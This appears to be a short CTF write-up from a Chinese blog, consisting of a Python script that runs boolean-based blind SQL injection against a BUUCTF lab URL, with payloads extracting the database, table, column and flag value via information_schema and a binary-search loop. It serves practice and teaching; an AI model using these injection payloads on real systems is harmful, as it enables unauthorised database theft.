当前位置:网站首页>Bool blind note - score query
Bool blind note - score query
2022-07-03 19:39:00 【Forever culvert】
from aiohttp import Payload
from cherrypy import url
import requests
import time
from sympy import parallel_poly_from_expr
url = "http://0cfdc5c8-c87c-4e7f-b632-7f6c6ff7a2d0.node4.buuoj.cn:81/?stunum="
payload1 = "1^(ascii(substr((select(database())),{},1))>{})^1"
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"
payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"
payload4 = "1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"
database = ""
for x in range(1, 1000):
low = 32
high = 127
mid = (low+high) // 2
while low < high:
playload = payload4.format(x, mid)
new_url = url + playload
r = requests.get(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low+high) // 2
if (mid == 32 or mid == 132):
break
database += chr(mid)
print(database)
time.sleep(1)
print(database)
# ctf
# flag,score
# flag,value
边栏推荐
- [free sharing] kotalog diary2022 plan electronic manual ledger
- Chapter 1: simplify the same code decimal sum s (D, n)
- 05 -- QT OpenGL draw cube uniform
- Read the paper glodyne global topology preserving dynamic network embedding
- Chapter 1: recursively find the factorial n of n!
- Chapter 2: 4-digit Kaplan number, search even digit Kaplan number, search n-digit 2-segment sum square number, m-digit ingenious square number without 0, specify the number to form a 7-digit square nu
- 第一章:拓广同码小数和s(d, n)
- Using the visualization results, click to appear the corresponding sentence
- BOC protected tryptophan zinc porphyrin (Zn · TAPP Trp BOC) / copper porphyrin (Cu · TAPP Trp BOC) / cobalt porphyrin (cobalt · TAPP Trp BOC) / iron porphyrin (Fe · TAPP Trp BOC) / Qiyue supply
- How to build an efficient information warehouse
猜你喜欢
Chapter 1: King Shehan miscalculated
第一章:求n的阶乘n!
Part 28 supplement (XXVIII) busyindicator (waiting for elements)
Free year-end report summary template Welfare Collection
05 -- QT OpenGL draw cube uniform
BUUCTF
BOC protected amino acid porphyrins TAPP ala BOC, TAPP Phe BOC, TAPP Trp BOC, Zn · TAPP ala BOC, Zn · TAPP Phe BOC, Zn · TAPP Trp BOC Qiyue
2022-06-30 网工进阶(十四)路由策略-匹配工具【ACL、IP-Prefix List】、策略工具【Filter-Policy】
2022-06-30 網工進階(十四)路由策略-匹配工具【ACL、IP-Prefix List】、策略工具【Filter-Policy】
QT -- qfileinfo file information reading
随机推荐
Bright purple crystal meso tetra (4-aminophenyl) porphyrin tapp/tapppt/tappco/tappcd/tappzn/tapppd/tappcu/tappni/tappfe/tappmn metal complex - supplied by Qiyue
Chapter 1: simplify the same code decimal sum s (D, n)
Free sharing | linefriends hand account inner page | horizontal grid | not for sale
Web Security (VIII) what is CSRF attack? Why can token prevent csdf attacks?
Summary of composition materials for 2020 high-frequency examination center of educational resources
QT -- qfile file read / write operation
WPF format datetime in TextBlock- WPF format DateTime in TextBlock?
The most valuable thing
Go home early today
Day11 ---- 我的页面, 用户信息获取修改与频道接口
Pecan — @expose()
Acquisition and transmission of parameters in automatic testing of JMeter interface
交叉编译Opencv带Contrib
Basic principle of LSM tree
Octopus online ecological chain tour Atocha protocol received near grant worth $50000
Chapter 2: find the number of daffodils based on decomposition, find the number of daffodils based on combination, find the conformal number in [x, y], explore the n-bit conformal number, recursively
Next spread
第一章:简化同码小数和s(d, n)
unittest框架基本使用
Sentinel source code analysis part I sentinel overview